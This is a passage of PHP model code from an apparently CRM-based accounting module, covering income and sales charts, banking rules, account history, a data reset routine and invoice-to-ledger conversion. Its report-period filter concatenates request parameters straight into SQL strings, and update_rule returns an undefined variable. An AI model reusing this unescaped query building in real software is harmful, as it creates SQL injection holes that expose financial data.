} } $total = 0; if($where != ''){ $this->db->select('*, (SELECT (sum(debit) - sum(credit)) as balance FROM '.db_prefix().'acc_account_history where account = '.db_prefix().'acc_accounts.id and '.$where.') as amount'); }else{ $this->db->select('*, (SELECT (sum(debit) - sum(credit)) as balance FROM '.db_prefix().'acc_account_history where account = '.db_prefix().'acc_accounts.id) as amount'); } $this->db->where('(account_type_id = 13 or account_type_id = 14 or account_type_id = 15)'); $this->db->where('active', 1); $this->db->order_by('amount', 'desc'); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $k => $val) { if($k > 2){ $total += $val['amount']; }else{ $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($val['amount'] < 0){ $data_return[] = ['name' => $name, 'y' => floatval(-$val['amount']), 'amount' => ''.floatval($val['amount'])]; }else{ $data_return[] = ['name' => $name, 'y' => floatval($val['amount']), 'amount' => ''.floatval($val['amount'])]; } } } if($total < 0){ $data_return[] = ['name' => _l('everything_else'), 'y' => floatval(-$total), 'amount' => ''.$total]; }else{ $data_return[] = ['name' => _l('everything_else'), 'y' => floatval($total), 'amount' => ''.$total]; } return $data_return; } /** * get data income chart * @param array $data_filter * @return array */ public function get_data_income_chart($data_filter){ $accounting_method = get_option('acc_accounting_method'); $where = $this->get_where_report_period('date'); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); if(isset($data_filter['currency'])){ $data_currency = $data_filter['currency']; }else{ $data_currency = $currency->id; } $last_30_days = date('Y-m-d', strtotime('today - 30 days')); if($where != ''){ $this->db->where($where); } $this->db->select('*, (SELECT sum(amount) as amount FROM '.db_prefix().'invoicepaymentrecords where invoiceid = '.db_prefix().'invoices.id and date >= "'.$last_30_days.'") as amount'); $this->db->where('currency', $data_currency); $invoices = $this->db->get(db_prefix().'invoices')->result_array(); $mapped = 0; $open_invoice = 0; $overdue_invoices = 0; $paid_last_30_days = 0; $list_invoice = '0'; foreach ($invoices as $key => $value) { $list_invoice .= ','.$value['id']; $this->db->select('sum(credit) as credit'); $this->db->where('rel_id', $value['id']); $this->db->where('rel_type', 'invoice'); $this->db->where('tax < 1'); $this->db->where('paid', 1); $count = $this->db->get(db_prefix().'acc_account_history')->row(); if(isset($count->credit) && $count->credit > 0){ $mapped += $count->credit; }else{ if($value['status'] == 1){ $open_invoice += $value['subtotal']; }elseif ($value['status'] == 2 && $value['amount'] > 0) { $paid_last_30_days += $value['subtotal']; }elseif ($value['status'] == 4) { $overdue_invoices += $value['subtotal']; } } } $data_return = []; $data_return[] = ['name' => _l('open_invoice'), 'data' => [floatval($open_invoice)]]; $data_return[] = ['name' => _l('overdue_invoices'), 'data' => [floatval($overdue_invoices)]]; $data_return[] = ['name' => _l('paid_last_30_days'), 'data' => [floatval($paid_last_30_days)]]; $where = $this->get_where_report_period(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($where != ''){ $this->db->where($where); } if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } if($currency->id != $data_currency){ $this->db->where('1=0'); } $this->db->select('sum(credit) as credit, sum(debit) as debit'); if($where != ''){ $this->db->where($where); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $total += $credits - $debits; }else{ $total += $debits - $credits; } } } $data_total[$data_key] = $total; } $income = $data_total['income'] + $data_total['other_income']; $data_return[] = ['name' => _l('has_been_mapping'), 'data' => [floatval($data_total['income'] + $data_total['other_income'])]]; return $data_return; } /** * get data sales chart * @param array $data_filter * @return array */ public function get_data_sales_chart($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); if(isset($data_filter['currency'])){ $data_currency = $data_filter['currency']; }else{ $data_currency = $currency->id; } $where = $this->get_where_report_period('date'); if($where != ''){ $this->db->where($where); } $this->db->where('currency', $data_currency); $invoices = $this->db->get(db_prefix().'invoices')->result_array(); if($where != ''){ $this->db->where($where); } $this->db->where('currency', $data_currency); $expenses = $this->db->get(db_prefix().'expenses')->result_array(); $data_return = []; $data_date = []; $list_invoice = '0'; foreach ($invoices as $key => $value) { $list_invoice .= ','.$value['id']; $this->db->where('rel_id', $value['id']); $this->db->where('rel_type', 'invoice'); $this->db->where('paid', 1); $count = $this->db->count_all_results(db_prefix().'acc_account_history'); if($count == 0){ if(isset($data_date[$value['date']])){ $data_date[$value['date']]['payment'] += floatval($value['subtotal']); }else{ $data_date[$value['date']] = []; $data_date[$value['date']]['payment'] = floatval($value['subtotal']); $data_date[$value['date']]['expense'] = 0; $data_date[$value['date']]['invoice_have_been_mapping'] = 0; $data_date[$value['date']]['expense_have_been_mapping'] = 0; } } } $list_expense = '0'; foreach ($expenses as $key => $value) { $list_expense .= ','.$value['id']; $this->db->where('rel_id', $value['id']); $this->db->where('rel_type', 'expense'); $count = $this->db->count_all_results(db_prefix().'acc_account_history'); if($count == 0){ if(isset($data_date[$value['date']])){ $data_date[$value['date']]['expense'] += floatval($value['amount']); }else{ $data_date[$value['date']] = []; $data_date[$value['date']]['expense'] = floatval($value['amount']); $data_date[$value['date']]['payment'] = 0; $data_date[$value['date']]['invoice_have_been_mapping'] = 0; $data_date[$value['date']]['expense_have_been_mapping'] = 0; } } } $account_type_details = $this->get_account_type_details(); foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); $this->db->select('credit, debit, date, datecreated'); if($currency->id != $data_currency){ $this->db->where('1=0'); } if($where != ''){ $this->db->where($where); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); foreach ($account_history as $val) { $credits = $val['credit'] != '' ? $val['credit'] : 0; $debits = $val['debit'] != '' ? $val['debit'] : 0; $date = $val['date'] != '' ? $val['date'] : date('Y-m-d', strtotime($val['datecreated'])); if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $total = $credits - $debits; if(isset($data_date[$date])){ $data_date[$date]['invoice_have_been_mapping'] += floatval($total); }else{ $data_date[$date] = []; $data_date[$date]['invoice_have_been_mapping'] = floatval($total); $data_date[$date]['expense_have_been_mapping'] = 0; $data_date[$date]['payment'] = 0; $data_date[$date]['expense'] = 0; } }else{ $total = $debits - $credits; if(isset($data_date[$date])){ $data_date[$date]['expense_have_been_mapping'] += floatval($total); }else{ $data_date[$date] = []; $data_date[$date]['expense_have_been_mapping'] = floatval($total); $data_date[$date]['invoice_have_been_mapping'] = 0; $data_date[$date]['payment'] = 0; $data_date[$date]['expense'] = 0; } } } } } } $sales = []; $invoice_have_been_mapping = []; $expense_have_been_mapping = []; $expenses = []; $categories = []; $date_array = []; foreach ($data_date as $d => $val) { $_date = $d; foreach ($data_date as $date => $value) { if(strtotime($_date) > (strtotime($date)) && !in_array($date,$date_array)){ $_date = $date; }elseif(!in_array($date,$date_array) && in_array($_date,$date_array)){ $_date = $date; } } $date_array[] = $_date; } foreach ($date_array as $date) { if(isset($data_date[$date])){ $sales[] = $data_date[$date]['payment']; $expenses[] = $data_date[$date]['expense']; $invoice_have_been_mapping[] = $data_date[$date]['invoice_have_been_mapping']; $expense_have_been_mapping[] = $data_date[$date]['expense_have_been_mapping']; $categories[] = _d($date); } } $data_return = [ 'data' => [ ['name' => _l('sales'), 'data' => $sales], ['name' => _l('sales_have_been_mapping'), 'data' => $invoice_have_been_mapping], ['name' => _l('expenses'), 'data' => $expenses], ['name' => _l('expenses_have_been_mapping'), 'data' => $expense_have_been_mapping], ], 'categories' => $categories ]; return $data_return; } /** * add rule * @param array $data */ public function add_rule($data){ if(isset($data['type'])){ $type = $data['type']; unset($data['type']); } if(isset($data['subtype'])){ $subtype = $data['subtype']; unset($data['subtype']); } if(isset($data['text'])){ $text = $data['text']; unset($data['text']); } if(isset($data['subtype_amount'])){ $subtype_amount = $data['subtype_amount']; unset($data['subtype_amount']); } if(!isset($data['auto_add'])){ $data['auto_add'] = 0; } $this->db->insert(db_prefix().'acc_banking_rules', $data); $insert_id = $this->db->insert_id(); if ($insert_id) { if(isset($type)){ foreach ($type as $key => $value) { $this->db->insert(db_prefix().'acc_banking_rule_details', [ 'rule_id' => $insert_id, 'type' => $value, 'subtype' => $subtype[$key], 'subtype_amount' => $subtype_amount[$key], 'text' => $text[$key], ]); } } return $insert_id; } return false; } /** * update rule * @param array $data */ public function update_rule($data, $id){ $affectedRows = 0; if(isset($data['type'])){ $type = $data['type']; unset($data['type']); } if(isset($data['subtype'])){ $subtype = $data['subtype']; unset($data['subtype']); } if(isset($data['text'])){ $text = $data['text']; unset($data['text']); } if(isset($data['subtype_amount'])){ $subtype_amount = $data['subtype_amount']; unset($data['subtype_amount']); } $this->db->where('id', $id); $this->db->update(db_prefix().'acc_banking_rules', $data); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('rule_id', $id); $this->db->delete(db_prefix() . 'acc_banking_rule_details'); if(isset($type)){ foreach ($type as $key => $value) { $this->db->insert(db_prefix().'acc_banking_rule_details', [ 'rule_id' => $id, 'type' => $value, 'subtype_amount' => $subtype_amount[$key], 'subtype' => $subtype[$key], 'text' => $text[$key], ]); } } if ($affectedRows > 0) { return $insert_id; } return false; } /** * get rule * @param integer $id * @param array $where * @return object */ public function get_rule($id = '', $where = []){ if($id != ''){ $this->db->where('id', $id); $rule = $this->db->get(db_prefix() . 'acc_banking_rules')->row(); if($rule){ $this->db->where('rule_id', $id); $rule->details = $this->db->get(db_prefix() . 'acc_banking_rule_details')->result_array(); } return $rule; } $this->db->where($where); $rule = $this->db->get(db_prefix() . 'acc_banking_rules')->result_array(); if($rule){ foreach ($rule as $key => $value) { $this->db->where('rule_id', $value['id']); $rule[$key]['details'] = $this->db->get(db_prefix() . 'acc_banking_rule_details')->result_array(); } } return $rule; } /** * delete journal entry * @param integer $id * @return boolean */ public function delete_rule($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_banking_rules'); if ($this->db->affected_rows() > 0) { $this->db->where('rule_id', $id); $this->db->delete(db_prefix() . 'acc_banking_rule_details'); return true; } return false; } /** * insert batch banking * @param array $data_insert * @return boolean */ public function insert_batch_banking($data_insert){ $rule = $this->get_rule(); foreach ($data_insert as $value) { $value['date'] = str_replace('/', '-', $value['date']); $value['date'] = date('Y-m-d', strtotime($value['date'])); $this->db->insert(db_prefix().'acc_transaction_bankings', $value); $insert_id = $this->db->insert_id(); if (!$insert_id) { continue; } if(get_option('acc_close_the_books') == 1){ if(strtotime($value['date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ continue; } } $amount = $value['deposits']; if($value['withdrawals'] > 0){ $amount = $value['withdrawals']; } foreach ($rule as $val) { if($this->check_rule($val, $value)){ if($val['then'] == 'exclude'){ break; }elseif($val['auto_add'] == 0){ continue; } $data = []; $node = []; $node['split'] = $val['payment_account']; $node['account'] = $val['deposit_to']; $node['debit'] = $amount; $node['date'] = $val['date']; $node['credit'] = 0; $node['description'] = _l('banking_rule'); $node['rel_id'] = $insert_id; $node['rel_type'] = 'banking'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data[] = $node; $node = []; $node['split'] = $val['deposit_to']; $node['account'] = $val['payment_account']; $node['date'] = $val['date']; $node['debit'] = 0; $node['credit'] = $amount; $node['description'] = _l('banking_rule'); $node['rel_id'] = $insert_id; $node['rel_type'] = 'banking'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data[] = $node; $affectedRows = $this->db->insert_batch(db_prefix().'acc_account_history', $data); break; } } } return true; } /** * check rule * @param array $rule * @param array $data * @return boolean */ public function check_rule($rule, $data){ $check = false; $amount = $data['deposits']; if($data['withdrawals'] > 0){ $amount = $data['withdrawals']; } if(($rule['transaction'] == 'money_out' && $data['withdrawals'] > 0) || ($rule['transaction'] == 'money_in' && $data['deposits'] > 0)){ if($rule['following'] == 'any'){ foreach ($rule['details'] as $v) { if ($v['type'] == 'amount') { switch ($v['subtype_amount']) { case 'does_not_equal': if(floatval($v['text']) != $amount){ return true; } break; case 'equals': if(floatval($v['text']) == $amount){ return true; } break; case 'is_greater_than': if(floatval($v['text']) < $amount){ return true; } break; case 'is_loss_than': if(floatval($v['text']) > $amount){ return true; } break; default: break; } }elseif($v['type'] == 'description'){ switch ($v['subtype']) { case 'contains': if (str_contains($data['description'], $v['text'])) { return true; } break; case 'does_not_contain': if (!str_contains($data['description'], $v['text'])) { return true; } break; case 'is_exactly': if ($data['description'] == $v['text']) { return true; } break; default: break; } } } }else{ foreach ($rule['details'] as $v) { if ($v['type'] == 'amount') { switch ($v['subtype_amount']) { case 'does_not_equal': if(floatval($v['text']) == $amount){ return false; } break; case 'equals': if(floatval($v['text']) != $amount){ return false; } break; case 'is_greater_than': if(floatval($v['text']) > $amount){ return false; } break; case 'is_loss_than': if(floatval($v['text']) < $amount){ return false; } break; default: break; } }elseif($v['type'] == 'description'){ switch ($v['subtype']) { case 'contains': if (!str_contains($data['description'], $v['text'])) { return false; } break; case 'does_not_contain': if (str_contains($data['description'], $v['text'])) { return false; } break; case 'is_exactly': if ($data['description'] != $v['text']) { return false; } break; default: break; } } $check = true; } return true; } } return $check; } /** * get data journal * @return array */ public function get_data_account_history($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $account = 0; if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } if(isset($data_filter['account'])){ $account = $data_filter['account']; } $info_account = $this->accounting_model->get_accounts($account); $accounts = $this->accounting_model->get_accounts(); $account_name = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; } $data_report = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); if($account != ''){ $this->db->where('account', $account); } $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $balance = 0; $amount = 0; foreach ($account_history as $v) { $decrease = 0; $increase = 0; if($info_account->account_type_id == 7 || $info_account->account_type_id == 8){ $increase = $v['credit']; $decrease = $v['debit']; $balance += ($v['credit'] - $v['debit']); }elseif($info_account->account_type_id == 1){ $increase = $v['credit']; $decrease = $v['debit']; $balance += ($v['debit'] - $v['credit']); }else{ $increase = $v['debit']; $decrease = $v['credit']; $balance += ($v['debit'] - $v['credit']); } $data_report[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'type' => _l($v['rel_type']), 'name' => (isset($account_name[$v['account']]) ? $account_name[$v['account']] : ''), 'description' => $v['description'], 'customer' => $v['customer'], 'decrease' => $decrease, 'increase' => $increase, 'balance' => $balance, ]; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date, 'account_type' => $info_account->account_type_id]; } /** * Gets the where report period. * * @param string $field The field * * @return string The where report period. */ private function get_where_report_period($field = 'date') { $months_report = $this->input->get('date_filter'); $custom_date_select = ''; if ($months_report != '') { if (is_numeric($months_report)) { // Last month if ($months_report == '1') { $beginMonth = date('Y-m-01', strtotime('first day of last month')); $endMonth = date('Y-m-t', strtotime('last day of last month')); } else { $months_report = (int) $months_report; $months_report--; $beginMonth = date('Y-m-01', strtotime("-$months_report MONTH")); $endMonth = date('Y-m-t'); } $custom_date_select = '(' . $field . ' BETWEEN "' . $beginMonth . '" AND "' . $endMonth . '")'; } elseif ($months_report == 'last_30_days') { $custom_date_select = '(' . $field . ' BETWEEN "' . date('Y-m-d', strtotime('today - 30 days')) . '" AND "' . date('Y-m-d') . '")'; } elseif ($months_report == 'this_month') { $custom_date_select = '(' . $field . ' BETWEEN "' . date('Y-m-01') . '" AND "' . date('Y-m-t') . '")'; } elseif ($months_report == 'last_month') { $this_month = date('m') - 1; $custom_date_select = '(' . $field . ' BETWEEN "' . date("Y-m-d", strtotime("first day of previous month")) . '" AND "' . date("Y-m-d", strtotime("last day of previous month")) . '")'; }elseif ($months_report == 'this_quarter') { $current_month = date('m'); $current_year = date('Y'); if($current_month>=1 && $current_month<=3) { $start_date = date('Y-m-d', strtotime('1-January-'.$current_year)); // timestamp or 1-Januray 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-April-'.$current_year)); // timestamp or 1-April 12:00:00 AM means end of 31 March } else if($current_month>=4 && $current_month<=6) { $start_date = date('Y-m-d', strtotime('1-April-'.$current_year)); // timestamp or 1-April 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-July-'.$current_year)); // timestamp or 1-July 12:00:00 AM means end of 30 June } else if($current_month>=7 && $current_month<=9) { $start_date = date('Y-m-d', strtotime('1-July-'.$current_year)); // timestamp or 1-July 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-October-'.$current_year)); // timestamp or 1-October 12:00:00 AM means end of 30 September } else if($current_month>=10 && $current_month<=12) { $start_date = date('Y-m-d', strtotime('1-October-'.$current_year)); // timestamp or 1-October 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-January-'.($current_year+1))); // timestamp or 1-January Next year 12:00:00 AM means end of 31 December this year } $custom_date_select = '(' . $field . ' BETWEEN "' . $start_date . '" AND "' . $end_date . '")'; }elseif ($months_report == 'last_quarter') { $current_month = date('m'); $current_year = date('Y'); if($current_month>=1 && $current_month<=3) { $start_date = date('Y-m-d', strtotime('1-October-'.($current_year-1))); // timestamp or 1-October Last Year 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-January-'.$current_year)); // // timestamp or 1-January 12:00:00 AM means end of 31 December Last year } else if($current_month>=4 && $current_month<=6) { $start_date = date('Y-m-d', strtotime('1-January-'.$current_year)); // timestamp or 1-Januray 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-April-'.$current_year)); // timestamp or 1-April 12:00:00 AM means end of 31 March } else if($current_month>=7 && $current_month<=9) { $start_date = date('Y-m-d', strtotime('1-April-'.$current_year)); // timestamp or 1-April 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-July-'.$current_year)); // timestamp or 1-July 12:00:00 AM means end of 30 June } else if($current_month>=10 && $current_month<=12) { $start_date = date('Y-m-d', strtotime('1-July-'.$current_year)); // timestamp or 1-July 12:00:00 AM $end_date = date('Y-m-d', strtotime('1-October-'.$current_year)); // timestamp or 1-October 12:00:00 AM means end of 30 September } $custom_date_select = '(' . $field . ' BETWEEN "' . $start_date . '" AND "' . $end_date . '")'; }elseif ($months_report == 'this_year') { $custom_date_select = '(' . $field . ' BETWEEN "' . date('Y-m-d', strtotime(date('Y-01-01'))) . '" AND "' . date('Y-m-d', strtotime(date('Y-12-31'))) . '")'; } elseif ($months_report == 'last_year') { $custom_date_select = '(' . $field . ' BETWEEN "' . date('Y-m-d', strtotime(date(date('Y', strtotime('last year')) . '-01-01'))) . '" AND "' . date('Y-m-d', strtotime(date(date('Y', strtotime('last year')) . '-12-31'))) . '")'; } elseif ($months_report == 'custom') { $from_date = to_sql_date($this->input->post('report_from')); $to_date = to_sql_date($this->input->post('report_to')); if ($from_date == $to_date) { $custom_date_select = '' . $field . ' = "' . $from_date . '"'; } else { $custom_date_select = '(' . $field . ' BETWEEN "' . $from_date . '" AND "' . $to_date . '")'; } } elseif(!(strpos($months_report, 'financial_year') === false)){ $year = explode('financial_year_', $months_report); $first_month_of_financial_year = get_option('acc_first_month_of_financial_year'); $month = date('m', strtotime($first_month_of_financial_year)); $custom_date_select = '(' . $field . ' BETWEEN "' . date($year[1].'-'.$month.'-01') . '" AND "' . date(($year[1]+1).'-'.$month.'-01') . '")'; } } return $custom_date_select; } /** * delete all data the accounting module * * @param int $id The identifier * * @return boolean */ public function reset_data() { $affectedRows = 0; if ($this->db->table_exists(db_prefix() . 'acc_accounts')) { $this->db->query('DROP TABLE `'.db_prefix() .'acc_accounts`;'); $this->db->query('CREATE TABLE `' . db_prefix() . "acc_accounts` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `name` VARCHAR(255) NOT NULL, `key_name` VARCHAR(255) NULL, `number` VARCHAR(45) NULL, `parent_account` INT(11) NULL, `account_type_id` INT(11) NOT NULL, `account_detail_type_id` INT(11) NOT NULL, `balance` DECIMAL(15,2) NULL, `balance_as_of` DATE NULL, `description` TEXT NULL, `default_account` INT(11) NOT NULL DEFAULT 0, `active` INT(11) NOT NULL DEFAULT 1, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=" . $this->db->char_set . ';'); $this->add_default_account(); $this->add_default_account_new(); $affectedRows++; } update_option('acc_first_month_of_financial_year', 'January'); update_option('acc_first_month_of_tax_year', 'same_as_financial_year'); update_option('acc_accounting_method', 'accrual'); update_option('acc_close_the_books', 0); update_option('acc_allow_changes_after_viewing', 'allow_changes_after_viewing_a_warning'); update_option('acc_enable_account_numbers', 0); update_option('acc_show_account_numbers', 0); update_option('acc_add_default_account', 0); update_option('acc_add_default_account_new', 0); update_option('acc_invoice_automatic_conversion', 1); update_option('acc_payment_automatic_conversion', 1); update_option('acc_expense_automatic_conversion', 1); update_option('acc_tax_automatic_conversion', 1); update_option('acc_invoice_payment_account', 66); update_option('acc_invoice_deposit_to', 1); update_option('acc_payment_payment_account', 1); update_option('acc_payment_deposit_to', 13); update_option('acc_expense_payment_account', 13); update_option('acc_expense_deposit_to', 80); update_option('acc_tax_payment_account', 29); update_option('acc_tax_deposit_to', 1); $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_account_history'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_banking_rules'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_banking_rule_details'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_journal_entries'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_reconciles'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_transaction_bankings'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_transfers'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_item_automatics'); if ($this->db->affected_rows() > 0) { $affectedRows++; } $this->db->where('id > 0'); $this->db->delete(db_prefix() . 'acc_tax_mappings'); if ($this->db->affected_rows() > 0) { $affectedRows++; } if ($affectedRows > 0) { return true; } return false; } /** * Change account status / active / inactive * @param mixed $id staff id * @param mixed $status status(0/1) */ public function change_account_status($id, $status) { $this->db->where('id', $id); $this->db->update(db_prefix() . 'acc_accounts', [ 'active' => $status, ]); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * Automatic invoice conversion * @param integer $invoice_id * @return boolean */ public function automatic_invoice_conversion($invoice_id){ $this->db->where('rel_id', $invoice_id); $this->db->where('rel_type', 'invoice'); $count = $this->db->count_all_results(db_prefix() . 'acc_account_history'); $affectedRows = 0; if($count > 0 || get_option('acc_invoice_automatic_conversion') == 0){ return false; } $this->load->model('invoices_model'); $invoice = $this->invoices_model->get($invoice_id); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $currency_converter = 0; if($invoice->currency_name != $currency->name){ $currency_converter = 1; } $payment_account = get_option('acc_invoice_payment_account'); $deposit_to = get_option('acc_invoice_deposit_to'); $tax_payment_account = get_option('acc_tax_payment_account'); $tax_deposit_to = get_option('acc_tax_deposit_to'); if($invoice){ if(get_option('acc_close_the_books') == 1){ if(strtotime($invoice->date) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return false; } } $paid = 0; if($invoice->status == 2){ $paid = 1; } $data_insert = []; $items = get_items_table_data($invoice, 'invoice', 'html', true); foreach($items->taxes() as $tax){ $t = explode('|', $tax['tax_name']); $tax_name = ''; $tax_rate = 0; if(isset($t[0])){ $tax_name = $t[0]; } if(isset($t[1])){ $tax_rate = $t[1]; } $this->db->where('name', $tax_name); $this->db->where('taxrate', $tax_rate); $_tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = $tax['total_tax']; if($currency_converter == 1){ $total_tax = round($this->currency_converter($invoice->currency_name, $currency->name, $tax['total_tax']), 2); } if($_tax){ $tax_mapping = $this->get_tax_mapping($_tax->id); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->payment_account; $node['account'] = $tax_mapping->deposit_to; $node['tax'] = $_tax->id; $node['item'] = 0; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['credit'] = 0; $node['customer'] = $invoice->clientid; $node['date'] = $invoice->date; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $tax_mapping->payment_account; $node['tax'] = $_tax->id; $node['item'] = 0; $node['paid'] = $paid; $node['date'] = $invoice->date; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $_tax->id; $node['item'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $tax_payment_account; $node['date'] = $invoice->date; $node['tax'] = $_tax->id; $node['item'] = 0; $node['paid'] = $paid; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = 0; $node['item'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $tax_payment_account; $node['date'] = $invoice->date; $node['tax'] = 0; $node['item'] = 0; $node['paid'] = $paid; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } foreach ($invoice->items as $value) { $item = $this->get_item_by_name($value['description']); $item_id = 0; if(isset($item->id)){ $item_id = $item->id; } $item_total = $value['qty'] * $value['rate']; if($currency_converter == 1){ $item_total = round($this->currency_converter($invoice->currency_name, $currency->name, $value['qty'] * $value['rate']), 2); } $item_automatic = $this->get_item_automatic($item_id); if($item_automatic){ $node = []; $node['split'] = $payment_account; $node['account'] = $deposit_to; $node['item'] = $item_id; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $item_total; $node['customer'] = $invoice->clientid; $node['tax'] = 0; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $item_automatic->income_account; $node['item'] = $item_id; $node['paid'] = $paid; $node['date'] = $invoice->date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $item_total; $node['description'] = ''; $node['rel_id'] = $invoice_id; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = 